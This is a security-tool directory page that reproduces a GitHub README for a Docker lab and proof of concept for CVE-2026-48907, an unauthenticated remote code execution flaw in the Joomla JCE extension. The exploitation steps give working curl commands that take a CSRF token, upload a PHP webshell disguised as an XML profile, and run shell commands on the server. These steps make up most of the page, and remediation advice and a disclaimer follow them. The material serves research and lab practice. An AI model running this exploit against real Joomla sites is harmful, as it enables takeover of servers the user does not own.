Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48907 — POC for CVE-2026-48907 | Kitploit
Tools/GitHubGitHub/pssec-io/cve-2026-48907
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubpssec-io/cve-2026-48907

CVE-2026-48907

POC for CVE-2026-48907

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-48907 — Joomla JCE Unauthenticated RCE Lab

PSsec Educational security research lab for CVE-2026-48907.


Overview

CVE-2026-48907 is a critical (CVSS 10.0) unauthenticated remote code execution vulnerability in JCE (Joomla Content Editor), the most widely installed editor extension for Joomla, affecting all versions ≤ 2.9.99.4.

The profiles.import endpoint accepts file uploads with zero authentication. An attacker can upload a malicious PHP file disguised as an XML profile, which gets written to the server's tmp/ directory and executed directly via HTTP — no credentials required.

DetailValue
CVECVE-2026-48907
CVSS Score10.0 Critical
Affected VersionsJCE ≤ 2.9.99.4
Fixed VersionsJCE ≥ 2.9.99.5
CISA KEV ListedYes — June 16, 2026
Actively ExploitedYes

Lab Setup

Prerequisites

  • Docker + Docker Compose
  • Kali Linux (or any Linux host)

1. Start the vulnerable environment

root@kitploit:~
docker compose up -d

2. Complete the Joomla installer

Open http://localhost:8080 in your browser and complete the setup wizard using these credentials:

FieldValue
Database Hostdb
Database Namejoomla
Database Userjoomla
Database Password

3. Install the vulnerable JCE extension

root@kitploit:~
wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

Then in Joomla Admin → System → Extensions → Install → upload the ZIP.


Exploitation

4. Extract CSRF token and session cookie

root@kitploit:~
URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. Upload PHP webshell via unauthenticated profile import

root@kitploit:~
curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. Verify remote code execution

root@kitploit:~
curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

Expected output: uid=33(www-data) gid=33(www-data)


Files

FileDescription
docker-compose.ymlSpins up vulnerable Joomla 5.3.1 + MySQL 8.0
shell.xml.phpMinimal PHP webshell payload
instructions.txtStep-by-step exploitation notes

Remediation

Update JCE to version 2.9.99.5 or later immediately.

Official vendor advisory and free patch for older Joomla versions: JCE Security Update — joomlacontenteditor.net


Credits

  • Exploit tooling reference: JoomlaSniper by ynsmroztas
  • Vulnerability discovered in the wild by Phil Taylor of mySites.guru
  • CISA KEV listing: June 16, 2026

Disclaimer

This repository is intended strictly for educational and authorized security research purposes.

Testing must only be performed against systems you own or have explicit written permission to test. Unauthorized use of this material against systems you do not own is illegal and unethical. The authors and Pansophical OU accept no liability for misuse of this content.

This lab environment is intentionally vulnerable. Do not expose it to the internet or any untrusted network.


By PSsec

Download Tool
joomlapass